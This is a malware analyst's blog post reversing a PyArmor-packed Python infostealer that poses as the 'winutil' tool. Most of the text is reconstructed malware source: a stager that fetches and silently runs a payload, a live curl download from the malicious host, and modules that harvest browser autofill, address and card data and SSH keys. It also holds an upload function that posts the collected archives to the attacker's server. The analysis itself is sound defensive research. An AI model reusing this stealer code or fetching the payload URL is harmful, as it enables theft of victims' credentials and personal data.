For the complete documentation index, see llms.txt. This page is also available as Markdown.
2026-07-22 - Free AI goop (malware source code)
As is tradition, someone DM'd me on X (the everything app, but not really). They said their box was infected with malware and linked a Triage report. The report was ... meh. It was a typical emulation report. It gave a brief overview of it worked but I wanted more.
"sorry for the header but I’m hoping it got your attention among the thousands of DMs you get. Eric Parker recently made a video talking about a typosquat domain that was impersonating christitus’ tool “winutil”. I was the one who reported the typosquat to Eric’s discord, in which an analyst named Flamma (thisthinkletsyouusereallylongnam is their full username) helped me analyze it." — guy on x
tl;dr PyArmor stager followed by PyArmor payload, likely all AI slop, reverse engineered payload has debug statements, print statements, and super repetitive code which no actual malware developer would do. Despite this, it appears these Threat Actors have had moderate success.
This person downloaded "Update" which was a .zip file. It is masquerading as WINUTILS. It has a PyArmor encoded .py file
This is a very silly file. They used a trial version of PyArmor. I guess we'll bonk it.
I bonked it with PyArmorOneShot (I named my directory "aaa", I'm lazy)
We get goop:
Neat, we've pulled a thingie out of SysMon.py.
The result is a botched .py file and the raw instructions to SysMon.py (from PyArmor). The main thing of value is this silly guy:
tl;dr it's downloading this:
getthemff ... very cool, I guess...? I guess we'll download it
It's free malware. However, it is MORE masquerading malware. It contains more PyArmor stuff. It is also a trial version (again). I guess we'll bonk this now too....
So... we've got some password stealer stuff, some wallet stealer stuff, ... lots of stuff actually...
I got the PyArmorOneShot .das (raw bytecode) and coupled with the PyArmorOneShot .py and AI slop machine, I was able to reconstruct their stuff back to original source code.
Auto-fill Stealer:
Utils:
Discord Tokens:
The main stager also has something with Minecraft in it, it also drops XMRig somewhere in this piece of shit, and some basic machine identifying stuff and persistence using Windows Scheduled Tasks. Now that I've reversed a big chunk of it I'm pretty bored.
66 LOAD_CONST 6: '/downloadables/getthemff.zip"\nfilename = os.path.join("getthem.zip")\nwith requests.get(url, stream=True) as r:\n r.raise_for_status()\n r.raw.decode_content = False\n with open(filename, \'wb\') as f:\n for chunk in r.iter_content(chunk_size=8192):\n if chunk:\n f.write(chunk)\n\nverify_download(filename, \'getthemf.zip\')\n\n# Step 2: Extract the ZIP file\n# The extraction command might differ based on your operating system and available utilities\nextract_command = "tar -xf " + filename\nos.system(extract_command)\n\n# Step 3: Execute the program\n# Build the path dynamically to ensure it works regardless of where the script is run from\nextracted_folder_path = os.path.join("getthem") # Assuming the zip extracts into a folder named \'getthem\'python_exe = os.path.join(extracted_folder_path, "python.exe")\nscript_path = os.path.abspath("getthem/got.py")\npython_exe = os.path.abspath("getthem/python.exe")\nexecute_command = [python_exe, script_path, "--host='
68 LOAD_GLOBAL 0: host
80 FORMAT_VALUE 0 (FVC_NONE)
82 LOAD_CONST 7: '", "--port='
84 LOAD_GLOBAL 2: port
96 FORMAT_VALUE 0 (FVC_NONE)
98 LOAD_CONST 8: '"]\n\nsubprocess.run(execute_command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n'
100 BUILD_STRING 9
102 PUSH_NULL
PS Z:\aaa\aaa> curl.exe -O "https://spc-statistics.net:443/downloadables/getthemff.zip"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 38.9M 100 38.9M 0 0 7463k 0 0:00:05 0:00:05 --:--:-- 7810k
PS Z:\aaa\aaa\oneshot> python.exe .\shot.py Z:\aaa\aaa\getthem\ -e .\pyarmor-1shot.exe -o Z:\aaa\aaa\getthem-Unpacked
____ ____
( __ ) ( __ )
| |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| |
| | ____ _ ___ _ _ | |
| | | _ \ _ _ __ _ _ __ _ _ __ ___ _ _ / / __|| |_ ___ | |_ | |
| | | |_) | || |/ _` | '__| ' ` \ / _ \| '_| | \__ \| ' \ / _ \| __| | |
| | | __/| || | (_| | | | || || | (_) | | | |__) | || | (_) | |_ | |
| | |_| \_, |\__,_|_| |_||_||_|\___/|_| |_|___/|_||_|\___/ \__| | |
| | |__/ | |
|__|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|__|
(____) v0.4.0 (____)
For technology exchange only. Use at your own risk.
GitHub: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot
INFO 2026-07-21 01:29:10,176 Found data in source: autofill_collector.py
INFO 2026-07-21 01:29:10,202 Found data in source: defender_utils.py
INFO 2026-07-21 01:29:10,230 Found data in source: discord_tokens.py
INFO 2026-07-21 01:29:10,280 Found data in source: getst.py
INFO 2026-07-21 01:29:10,317 Found data in source: getws.py
INFO 2026-07-21 01:29:10,346 Found data in source: got.py
INFO 2026-07-21 01:29:10,622 Found data in source: newst.py
INFO 2026-07-21 01:29:10,645 Found data in source: password_manager_scanner.py
INFO 2026-07-21 01:29:11,422 Found data in source: system_info_collector.py
INFO 2026-07-21 01:29:11,452 Found data in source: test20.py
INFO 2026-07-21 01:29:11,669 Found data in source: wallet_collector.py
INFO 2026-07-21 01:29:22,627 Found data in source: dist\autofill_collector.py
INFO 2026-07-21 01:29:22,653 Found data in source: dist\defender_utils.py
INFO 2026-07-21 01:29:22,681 Found data in source: dist\discord_tokens.py
INFO 2026-07-21 01:29:22,711 Found data in source: dist\got.py
INFO 2026-07-21 01:29:22,730 Found data in source: dist\password_manager_scanner.py
INFO 2026-07-21 01:29:22,763 Found data in source: dist\wallet_collector.py
INFO 2026-07-21 01:29:22,804 Found new runtime: 000000 (Z:\aaa\aaa\getthem\dist\pyarmor_runtime_000000\pyarmor_runtime.so)
========================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
Mix string AES nonce: 692e6e6f6e2d70726f666974
========================
INFO 2026-07-21 01:29:31,065 Found new runtime: 000000 (Z:\aaa\aaa\getthem\pyarmor_runtime_000000\pyarmor_runtime.pyd)
========================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
Mix string AES nonce: 692e6e6f6e2d70726f666974
========================
INFO 2026-07-21 01:29:57,288 Using specified executable: .\pyarmor-1shot.exe
INFO 2026-07-21 01:29:57,289 Decrypting: 000000 (autofill_collector.py)
INFO 2026-07-21 01:29:57,634 Decrypting: 000000 (defender_utils.py)
INFO 2026-07-21 01:29:57,649 Decrypting: 000000 (discord_tokens.py)
INFO 2026-07-21 01:29:57,664 Decrypting: 000000 (getst.py)
INFO 2026-07-21 01:29:57,686 Decrypting: 000000 (getws.py)
INFO 2026-07-21 01:29:57,702 Decrypting: 000000 (got.py)
INFO 2026-07-21 01:29:57,715 Decrypting: 000000 (newst.py)
INFO 2026-07-21 01:29:57,721 Decrypting: 000000 (password_manager_scanner.py)
INFO 2026-07-21 01:29:57,752 Decrypting: 000000 (system_info_collector.py)
INFO 2026-07-21 01:29:57,761 Decrypting: 000000 (test20.py)
INFO 2026-07-21 01:29:57,768 Decrypting: 000000 (wallet_collector.py)
INFO 2026-07-21 01:29:57,780 Decrypting: 000000 (dist\autofill_collector.py)
INFO 2026-07-21 01:29:57,803 Decrypting: 000000 (dist\defender_utils.py)
INFO 2026-07-21 01:29:57,812 Decrypting: 000000 (dist\discord_tokens.py)
INFO 2026-07-21 01:29:57,829 Decrypting: 000000 (dist\got.py)
INFO 2026-07-21 01:29:57,838 Decrypting: 000000 (dist\password_manager_scanner.py)
INFO 2026-07-21 01:29:57,847 Decrypting: 000000 (dist\wallet_collector.py)
"""Browser autofill data collection module"""
import json
import os
import shutil
import sqlite3
import tempfile
import uuid
def collect_autofills(output_folder):
"""Collect browser autofills and add to output folder as JSON."""
print("[DEBUG] Collecting browser autofills...")
local_app_data = os.getenv("LOCALAPPDATA")
roaming_app_data = os.getenv("APPDATA")
browser_paths = {
"Google Chrome": os.path.join(
local_app_data, "Google", "Chrome", "User Data"
),
"Opera": os.path.join(
roaming_app_data, "Opera Software", "Opera Stable"
),
"Opera GX": os.path.join(
roaming_app_data, "Opera Software", "Opera GX Stable"
),
"Brave": os.path.join(
local_app_data, "BraveSoftware", "Brave-Browser", "User Data"
),
"Edge": os.path.join(
local_app_data, "Microsoft", "Edge", "User Data"
),
}
collected_data = {}
data_found = False
for browser_name, browser_path in browser_paths.items():
print(
f"[DEBUG] Autofill - Checking browser: "
f"{browser_name} at {browser_path}"
)
if not os.path.exists(browser_path):
continue
print(f"[DEBUG] Autofill - Browser path exists: {browser_path}")
profiles = [
entry
for entry in os.listdir(browser_path)
if os.path.isdir(os.path.join(browser_path, entry))
and ("Profile" in entry or entry == "Default")
]
print(
f"[DEBUG] Autofill - Found {len(profiles)} profiles: {profiles}"
)
for profile_name in profiles:
web_data_path = os.path.join(
browser_path, profile_name, "Web Data"
)
print(
f"[DEBUG] Autofill - Checking Web Data at: {web_data_path}"
)
if not os.path.exists(web_data_path):
print(
f"[DEBUG] Autofill - Web Data file does NOT exist at: "
f"{web_data_path}"
)
continue
print(
"[DEBUG] Autofill - Web Data file exists, "
"attempting to read..."
)
temporary_database = os.path.join(
tempfile.gettempdir(),
f"temp_webdata_{uuid.uuid4().hex[:8]}.db",
)
connection = None
try:
shutil.copy2(web_data_path, temporary_database)
connection = sqlite3.connect(temporary_database)
cursor = connection.cursor()
profile_data = {
"browser": browser_name,
"profile": profile_name,
"autofill": [],
"autofill_profiles": [],
"credit_cards": [],
}
try:
cursor.execute(
"SELECT name, value, count FROM autofill"
)
rows = cursor.fetchall()
for row in rows:
profile_data["autofill"].append(
{
"name": row[0],
"value": row[1],
"count": row[2],
}
)
print(
f"[DEBUG] Found "
f"{len(profile_data['autofill'])} autofill entries"
)
except Exception as error:
print(
f"[DEBUG] Error reading autofill table: {error}"
)
try:
cursor.execute(
"""
SELECT guid, company_name, street_address, city,
state, zipcode, country_code, date_modified,
use_count, use_date
FROM autofill_profiles
"""
)
rows = cursor.fetchall()
for row in rows:
profile_data["autofill_profiles"].append(
{
"guid": row[0],
"company_name": row[1],
"street_address": row[2],
"city": row[3],
"state": row[4],
"zipcode": row[5],
"country_code": row[6],
"date_modified": row[7],
"use_count": row[8],
"use_date": row[9],
}
)
print(
f"[DEBUG] Found "
f"{len(profile_data['autofill_profiles'])} "
"address profiles"
)
except Exception as error:
print(
"[DEBUG] Error reading autofill_profiles table: "
f"{error}"
)
try:
cursor.execute(
"""
SELECT guid, name_on_card, expiration_month,
expiration_year, card_number_encrypted,
date_modified, use_count, use_date
FROM credit_cards
"""
)
rows = cursor.fetchall()
for row in rows:
profile_data["credit_cards"].append(
{
"guid": row[0],
"name_on_card": row[1],
"expiration_month": row[2],
"expiration_year": row[3],
"card_encrypted": (
"ENCRYPTED_DATA_PRESENT"
if row[4]
else "NO_DATA"
),
"date_modified": row[5],
"use_count": row[6],
"use_date": row[7],
}
)
print(
f"[DEBUG] Found "
f"{len(profile_data['credit_cards'])} credit cards"
)
except Exception as error:
print(
f"[DEBUG] Error reading credit_cards table: {error}"
)
if (
profile_data["autofill"]
or profile_data["autofill_profiles"]
or profile_data["credit_cards"]
):
result_key = f"{browser_name}_{profile_name}"
collected_data[result_key] = profile_data
data_found = True
print(
"[DEBUG] Successfully extracted autofill data from "
f"{browser_name} {profile_name}"
)
except Exception as error:
print(
f"[DEBUG] Failed to read autofill from "
f"{browser_name} {profile_name}: {error}"
)
finally:
if connection is not None:
connection.close()
if os.path.exists(temporary_database):
os.remove(temporary_database)
if data_found:
autofill_folder = os.path.join(output_folder, "Autofill")
os.makedirs(autofill_folder, exist_ok=True)
output_path = os.path.join(
autofill_folder, "autofill_data.json"
)
with open(output_path, "w", encoding="utf-8") as output_file:
json.dump(
collected_data,
output_file,
indent=2,
ensure_ascii=False,
)
print(
"[DEBUG] Autofill collection completed successfully - "
f"saved to {output_path}"
)
else:
print("[DEBUG] No autofill data collected")
return data_found
def collect_ssh_keys(output_folder):
"""Collect SSH keys and add to output folder."""
print("[DEBUG] Collecting SSH keys...")
ssh_directory = os.path.join(
os.path.expanduser("~"), ".ssh"
)
if os.path.exists(ssh_directory):
try:
output_directory = os.path.join(output_folder, "SSH")
os.makedirs(output_directory, exist_ok=True)
ssh_files = [
"id_rsa",
"id_rsa.pub",
"id_dsa",
"id_dsa.pub",
"id_ecdsa",
"id_ecdsa.pub",
"id_ed25519",
"id_ed25519.pub",
"known_hosts",
"config",
"authorized_keys",
]
files_collected = False
for filename in ssh_files:
source_path = os.path.join(ssh_directory, filename)
if not os.path.exists(source_path):
continue
try:
shutil.copy2(
source_path,
os.path.join(output_directory, filename),
)
print(f"[DEBUG] Copied SSH file: {filename}")
files_collected = True
except Exception as error:
print(
f"[DEBUG] Failed to copy SSH file "
f"{filename}: {error}"
)
if files_collected:
print("[DEBUG] SSH keys collected successfully")
else:
print("[DEBUG] No SSH keys found")
except Exception as error:
print(f"[DEBUG] Error collecting SSH keys: {error}")
else:
print("[DEBUG] SSH directory does not exist")
"""Defender check and download utilities."""
import os
import socket
import subprocess
import time
import zipfile
import requests
def check_defender_exclusion(path):
"""Check whether a path is excluded from Microsoft Defender."""
try:
command = (
"Get-MpPreference | "
"Select-Object -ExpandProperty ExclusionPath"
)
result = subprocess.run(
["powershell", "-Command", command],
capture_output=True,
text=True,
timeout=30,
)
if result.returncode == 0:
exclusions = result.stdout.strip().split("\n")
normalized_target = os.path.normpath(path).lower()
for exclusion in exclusions:
if not exclusion.strip():
continue
normalized_exclusion = os.path.normpath(
exclusion.strip()
).lower()
if normalized_exclusion == normalized_target:
return True
return False
except Exception as error:
print(f"Error checking Defender exclusions: {error}")
return False
def get_latest_release_url(repo_owner, repo_name, asset_pattern):
"""Get a matching asset URL from the latest GitHub release."""
try:
api_url = (
f"https://api.github.com/repos/"
f"{repo_owner}/{repo_name}/releases/latest"
)
response = requests.get(api_url, timeout=10)
response.raise_for_status()
release_data = response.json()
for asset in release_data.get("assets", []):
if asset_pattern.lower() in asset["name"].lower():
return asset["browser_download_url"]
return None
except Exception as error:
print(f"Error fetching latest release: {error}")
return None
def download_file(url, dest_path):
"""Download a file from a URL to a destination path."""
print(f"Downloading from {url}...")
response = requests.get(url, stream=True, timeout=30)
response.raise_for_status()
with open(dest_path, "wb") as output_file:
for chunk in response.iter_content(chunk_size=8192):
output_file.write(chunk)
print(f"Downloaded to {dest_path}")
def extract_zip(zip_path, extract_to):
"""Extract a ZIP file to a directory."""
print(f"Extracting {zip_path}...")
with zipfile.ZipFile(zip_path, "r") as archive:
archive.extractall(extract_to)
print(f"Extracted to {extract_to}")
def find_exe_in_directory(directory):
"""Find the first executable file in a directory tree."""
for root, _, files in os.walk(directory):
for filename in files:
if filename.lower().endswith(".exe"):
return os.path.join(root, filename)
return None
def create_zip_from_folder(folder_path, zip_path):
"""Create a compressed ZIP archive from a folder."""
print(f"Creating zip archive: {zip_path}")
with zipfile.ZipFile(
zip_path,
"w",
zipfile.ZIP_DEFLATED,
) as archive:
for root, _, files in os.walk(folder_path):
for filename in files:
source_path = os.path.join(root, filename)
archive_name = os.path.relpath(
source_path,
folder_path,
)
archive.write(source_path, archive_name)
print("Zip created successfully")
def upload_file(
file_path,
host,
port,
route="/infame/receive/dt",
):
"""Upload a file to the specified HTTPS endpoint."""
upload_url = f"https://{host}:{port}{route}"
with open(file_path, "rb") as input_file:
files = {
"file": (
os.path.basename(file_path),
input_file,
)
}
response = requests.post(upload_url, files=files)
response.raise_for_status()
def read_machine_id():
"""Read the machine ID, or create a temporary fallback ID."""
machine_id_path = (
r"C:\Windows\SystemHealth\Update\machine_id.txt"
)
try:
with open(machine_id_path, "r") as input_file:
machine_id = input_file.read().strip()
return machine_id
except Exception as error:
print(f"Error reading machine ID: {error}")
return f"{socket.gethostname()}_{int(time.time())}"
from __future__ import annotations
import os
import platform
import socket
import subprocess
import uuid
from pathlib import Path
from typing import Dict, List, Optional
MACHINE_ID_PATH = Path(r"C:\Windows\SystemHealth\Update\machine_id.txt")
PUBLIC_IP_SERVICE = "https://api.ipify.org"
DISCORD_USER_API = "https://discordapp.com/api/v6/users/@me"
DISCORD_SUBSCRIPTIONS_API = (
"https://discordapp.com/api/v6/users/@me/billing/subscriptions"
)
EXFILTRATION_ROUTE = "/infame/receive/dt"
TOKEN_MARKER = "dQw4w9WgXcQ:"
def get_motherboard_serial() -> Optional[str]:
command = (
'powershell "Get-CimInstance Win32_BaseBoard | '
'Select-Object -ExpandProperty SerialNumber"'
)
try:
output = subprocess.check_output(command, shell=True)
serial = output.decode(errors="replace").strip()
return serial or None
except Exception:
return None
def generate_random_id(length: int = 32) -> str:
return uuid.uuid4().hex[:length]
def get_or_create_machine_id(filename: Path = MACHINE_ID_PATH) -> str:
machine_id: Optional[str] = None
try:
if filename.exists():
machine_id = filename.read_text(encoding="utf-8").strip()
else:
machine_id = get_motherboard_serial()
if machine_id:
filename.parent.mkdir(parents=True, exist_ok=True)
filename.write_text(machine_id, encoding="utf-8")
except Exception:
machine_id = None
invalid_values = {"default string", "to be filled by oem", "", "none"}
if not machine_id or machine_id.lower() in invalid_values:
machine_id = generate_random_id()
try:
filename.parent.mkdir(parents=True, exist_ok=True)
filename.write_text(machine_id, encoding="utf-8")
except Exception:
pass
return machine_id
def get_candidate_application_paths() -> Dict[str, str]:
local = os.getenv("LOCALAPPDATA", "")
roaming = os.getenv("APPDATA", "")
return {
"Discord": roaming + r"\discord",
"Discord Canary": roaming + r"\discordcanary",
"Lightcord": roaming + r"\Lightcord",
"Discord PTB": roaming + r"\discordptb",
"Opera": roaming + r"\Opera Software\Opera Stable",
"Opera GX": roaming + r"\Opera Software\Opera GX Stable",
"Amigo": local + r"\Amigo\User Data",
"Torch": local + r"\Torch\User Data",
"Kometa": local + r"\Kometa\User Data",
"Orbitum": local + r"\Orbitum\User Data",
"CentBrowser": local + r"\CentBrowser\User Data",
"7Star": local + r"\7Star\7Star\User Data",
"Sputnik": local + r"\Sputnik\Sputnik\User Data",
"Vivaldi": local + r"\Vivaldi\User Data\Default",
"Chrome SxS": local + r"\Google\Chrome SxS\User Data",
"Chrome": local + r"\Google\Chrome\User Data\Default",
"Epic Privacy Browser": local + r"\Epic Privacy Browser\User Data",
"Microsoft Edge": local + r"\Microsoft\Edge\User Data\Default",
"Uran": local + r"\uCozMedia\Uran\User Data\Default",
"Yandex": local + r"\Yandex\YandexBrowser\User Data\Default",
"Brave": local + r"\BraveSoftware\Brave-Browser\User Data\Default",
"Iridium": local + r"\Iridium\User Data\Default",
}
def locate_candidate_artifacts() -> List[dict]:
findings: List[dict] = []
for application, base_path in get_candidate_application_paths().items():
base = Path(base_path)
local_state = base / "Local State"
leveldb = base / "Local Storage" / "leveldb"
findings.append(
{
"application": application,
"base_path": str(base),
"base_exists": base.exists(),
"local_state": str(local_state),
"local_state_exists": local_state.exists(),
"leveldb": str(leveldb),
"leveldb_exists": leveldb.exists(),
}
)
return findings
def get_host_metadata() -> dict:
return {
"machine_id": get_or_create_machine_id(),
"username": os.getenv("USERNAME") or os.getenv("USER"),
"computer_name": os.getenv("COMPUTERNAME") or socket.gethostname(),
"platform": platform.platform(),
"mac_address": ":".join(
f"{(uuid.getnode() >> shift) & 0xFF:02x}"
for shift in range(40, -1, -8)
),
}
def decrypt(*args, **kwargs):
raise RuntimeError("Credential decryption is disabled in this analysis build")
def getip(*args, **kwargs):
raise RuntimeError("External IP lookup is disabled in this analysis build")
def get_discord_tokens(*args, **kwargs):
raise RuntimeError("Discord token harvesting is disabled in this analysis build")
def describe_original_behavior() -> dict:
return {
"searched_artifacts": [
"Local State",
r"Local Storage\leveldb\*.ldb",
r"Local Storage\leveldb\*.log",
],
"token_marker": TOKEN_MARKER,
"validation_endpoints": [
DISCORD_USER_API,
DISCORD_SUBSCRIPTIONS_API,
],
"public_ip_service": PUBLIC_IP_SERVICE,
"exfiltration_route": EXFILTRATION_ROUTE,
"disabled_capabilities": [
"DPAPI/AES token decryption",
"Discord account validation",
"subscription lookup",
"remote HTTPS submission",
],
}